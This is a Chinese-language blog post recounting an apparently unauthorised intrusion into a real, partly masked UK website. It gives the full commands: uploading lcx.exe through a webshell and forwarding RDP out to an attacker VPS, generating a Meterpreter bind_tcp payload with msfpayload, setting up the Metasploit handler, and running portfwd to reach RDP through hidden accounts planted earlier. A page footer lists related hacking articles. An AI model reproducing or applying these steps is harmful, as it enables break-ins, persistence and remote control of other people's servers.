bind_tcp正向连接在实战中的应用

简介: bind_tcp正向连接在实战中的应用

0x01 前言

Date/time:2013年,早想写这篇文章了,由于最近一直很忙,拖了半个月才抽出时间来写,这篇文章主要记录的是我在一次提权过程中遇到的问题和解决办法,在这里特别感谢@烟神@落寞两位大哥的耐心指导与讲解。这个站点使用Asp + Access,一个很普通的SQL注入漏洞,这里就不详细写了。


基本信息探测:

  • 目标站点:http://www.fo**ox.co.uk
  • 服务器IP:2*7.6*.3*.1*3(英国)
  • 环境平台:ASP.NET
  • 服务器系统:Microsoft-IIS/6.0
  • 端口开放:21、80、135、443、445、554、3389
  • 补丁情况:服务器系统打了450+补丁(32位系统)
  • 脚本探测:支持ASP、ASPX脚本,不支持PHP脚本
  • 磁盘权限:C、D、R、S盘里部分目录有可读/写权限


0x02 bind_tcp实战应用过程

(1) 前期测试由于目标处于内网环境,不能直接连接3389,常规思路就是利用lcx等工具把目标的3389端口给转发出来,然后再进行连接,在C:\Inetpub\目录上传一个cmd.exe和lcx.exe,执行命令如下。

首先VPS机器监听51端口,连接用1234端口:

    VPS机器执行:
    C:\>lcx.exe -listen 51 1234
    目标机器执行:
    /c C:\Inetpub\lcx.exe -slave {公网VPS IP} 51 127.0.0.1 3389


    执行转发后发现3389端口还是连不上,我们本地机器执行的监听也没有接收到任何返回的数据,用netstat -ano命令查看了下目标当前网络连接状态如下。

      TCP   2*7.*9.*8.1*4:3781   1*3.2*1.*2.*1:51    SYN_SENT     4636         
      TCP   2*7.*9.*8.1*4:3782   2*7.*9.*0.*2:1433   TIME_WAIT       0
      TCP   2*7.*9.*8.1*4:3783   1*3.2*1.*2.*1:51    SYN_SENT      500
      TCP   2*7.*9.*8.1*4:3786   1*3.2*1.*2.*1:51    SYN_SENT     1380


      TCP连接为SYN_SENT状态,被拦截了,没有建立完整TCP连接,所以还是无法连接3389端口,如果是完整TCP连接就会变为了ESTABLISHED状态,出现SYN_SENT状态的常见三种情况。

      • 目标机器不通外网(除80端口以外的任何端口);
      • 目标开启Windows系统防火墙并设置了出入站规则;
      • 公网IP的监听端口没有在路由器设置端口映射规则;


      当前问题:

      不能通过lcx等常用端口转发工具将目标机器的3389端口给转发出来SYN_SENT,猜测应该是开启了Windows系统自带防火墙的原因。


      解决办法:

      利用MSF工具里的bind_tcp正向连接生成一个EXE攻击载荷, 得到目标会话后在Meterpreter中使用portfwd命令进行端口转发即可。


      注意事项:

      可以先用MSF的reverse_tcp反向连接,如果被拦截后再尝试更换端口80、443、8080,这几个端口很少会被拦截,因为我们经常要与这几个端口进行通讯,所以基本很少有人会在防火墙里设置这几个端口的出入站规则,但有时也会出现个别例外情况。


      (2) 实战应用

      在我对目标进行测试时发现reverse_tcp反向连接的大部分端口都被拦截了,这时可以尝试用Nmap扫描目标机器状态为closed的端口来进行bind_tcp正向连接,只有状态为closed的端口才能进行bind_tcp正向连接(感谢@烟神大哥给提供的新思路)!


      注:状态closed为端口关闭,但数据有到达主机,只是没有程序在端口上监控,但是它们随时都有可能开放,也有可能是目标防火墙把某些对外开放的端口给过滤掉了。


      通过Nmap扫描状态为closed的端口有:25、53、110、113、7070,接下来我们使用bind_tcp正向连接来生成一个EXE攻击载荷文件,命令如下。

        msfpayload windows/meterpreter/bind_tcp LPORT=53 X > /root/Desktop/test.exe


        先把我们生成好的test.exe载荷文件上传至目标机器的可读/写目录下,然后进入到MSF完成所有必填的配置选项,命令如下。

          use exploit/mutil/handler                      //加载监听模块
          set PAYLOADY windows/meterpreter/bind_tcp      //设置攻击载荷
          set RHOST 2*7.6*.3*.1*3                        //设置被攻击外网IP
          set LPORT 53                                   //设置远程监听端口
          exploit                                        //exploit执行监听


          将必填的配置选项完成后,执行exploit命令进行监听,然后在Webshell执行C:\Inetpub\test.exe载荷文件,如果成功的话就会返回一个bind_tcp的Meterpreter会话。


          注:当我们在Webshell执行test.exe载荷文件后,目标机器就会开放一个53监听端口,并等待我们去连接。这里不管我们本地是内网还是外网,用bind_tcp正向连接时可以不用去路由器里做端口映射,因为是我们主动去连接对方目标服务器的53端口。


          测试了一些常用命令,有的能执行,有的不能执行,还有的执行后就断开了会话。出现这种情况应该是被目标机器里的反病毒软件之类的东西给拦截了,比如我们执行的getsystem命令,返回了以下错误。


          meterpreter > getsystem
          [*] 2*7.*9.*8.1*3 - Meterpreter session 3 closed.  Reason: Died
          [-] Error running command getsystem: Rex::TimeoutError Operation timed out.


          注:记得半个月前测试的时候都可以执行这些命令的,可能是管理员又做了什么安全设置了吧,这台服务器的管理员已经做了几次安全了,这次看来是不行了,就先不管它了,下次有时间再来测试下吧。


          不过还好以前创建的隐藏用户都还在,那么我们就直接使用portfwd命令进行端口转发,命令如下。

            meterpreter > portfwd add -l 1234 -p 3389 -r 127.0.0.1


            执行完端口转发后直接使用BackTrack5下的rdesktop客户端程序去连接目标的3389端口,命令如下。

              root@devil:~# rdesktop -g 870 127.0.0.1:1234

              相关文章
              |
              3月前
              |
              存储 弹性计算 固态存储
              云服务器租用价格多少钱一年?2026年连夜整理最新收费价格
              2026年阿里云服务器优惠汇总:轻量应用服务器38元/年起,ECS经济型e实例2核2G仅99元/年,企业级u1实例2核4G 199元/年,4核16G低至89元/月。香港地域轻量服务器25元/月起,支持多地域部署。更多高配及GPU机型可选,新老用户同享优惠,续费不涨价。
              1353 10
              |
              4月前
              |
              存储 弹性计算 网络协议
              5 分钟构建企业级域控:AD DS 一键部署与实战指南
              Active Directory 域服务(AD DS)不仅是企业级身份管理的基石,更是您实现**集中认证、策略统管、安全高效**IT架构的核心引擎。
              |
              7月前
              |
              安全 中间件 应用服务中间件
              WEB渗透-文件上传漏洞-下篇
              本文详解文件上传安全漏洞,涵盖白名单绕过(如00截断、条件竞争)、图片木马制作与利用、以及IIS、Apache、Nginx等常见解析漏洞原理与防御。结合实战案例,深入剖析攻击手法与修复方案。
              538 1
              |
              机器学习/深度学习 存储 监控
              Elasticsearch 在日志分析中的应用
              【9月更文第2天】随着数字化转型的推进,日志数据的重要性日益凸显。日志不仅记录了系统的运行状态,还提供了宝贵的洞察,帮助企业改进产品质量、优化用户体验以及加强安全防护。Elasticsearch 作为一个分布式搜索和分析引擎,因其出色的性能和灵活性,成为了日志分析领域的首选工具之一。本文将探讨如何使用 Elasticsearch 作为日志分析平台的核心组件,并详细介绍 ELK(Elasticsearch, Logstash, Kibana)栈的搭建和配置流程。
              978 4
              |
              JSON 自然语言处理 搜索推荐
              开发一款专属的 VSCode 代码提示插件
              作为前端开发者一定用过VsCode这款利器,而其强大的插件能力无疑更是让我们深深的爱上了它。据不完全统计,VsCode插件市场中的插件数量已经超过了3万,由此可见大家的热情有多高。其中涉及到各种各样功能的插件,有主题曲相关的,有代码开发相关的,比如代码片段、Git插件、tslint等等。作为开发者,肯定用过各种各样的代码提示的插件,代表性的有TabNine、Copilot等等。今天就让我们来自己动手,开发一款专属的代码提示插件。毕竟别人的再好也是别人的, 属于自己的才是最好的。
              3528 1
              开发一款专属的 VSCode 代码提示插件
              |
              数据采集 安全 数据可视化
              浅谈网络安全态势感知
              网络安全态势感知是应对复杂网络环境和频繁攻击的关键,它基于数据采集、理解和预测,评估网络安全性并预测未来趋势。中国在该领域的研究已有显著进展,如2003年国家互联网应急中心的监测平台和2015年四川大学的大数据分析平台。态势感知涉及数据采集、理解、评估和预测四个步骤,通过可视化方式展示给用户。其核心功能包括态势总览、资产管理、告警管理等。未来发展方向将结合大数据和AI提升预测精度,实现云化和动态扩展。德迅云安全提供的解决方案侧重主动监测、精准防护和智能分析,适用于金融、电商和政企等领域。
              |
              Kubernetes 网络性能优化 调度
              在k8S中,QoS作用是什么?
              在k8S中,QoS作用是什么?
              |
              安全 Ubuntu Linux
              CVE-2016-5195 DirtyCow 脏牛提权
              脏牛(Dirty COW,编号:CVE-2016-5195)是2016年10月18日被曝出的存在于Linux内核中的一款0day漏洞。因为此漏洞是在Linux内核的内存子系统在处理写时拷贝(Copy-on-Write)时发生的,而又给Linux内核的使用带来烦恼,所以将其命名为"Dirty COW"。
              1357 1
              |
              安全 网络协议 Shell
              永恒之蓝(MS17-010)漏洞利用
              永恒之蓝(MS17-010)漏洞利用
              1350 1
              |
              监控 安全 Linux
              应急响应与系统加固(护网蓝初面试干货)
              应急响应与系统加固(护网蓝初面试干货)
              490 0

              热门文章

              最新文章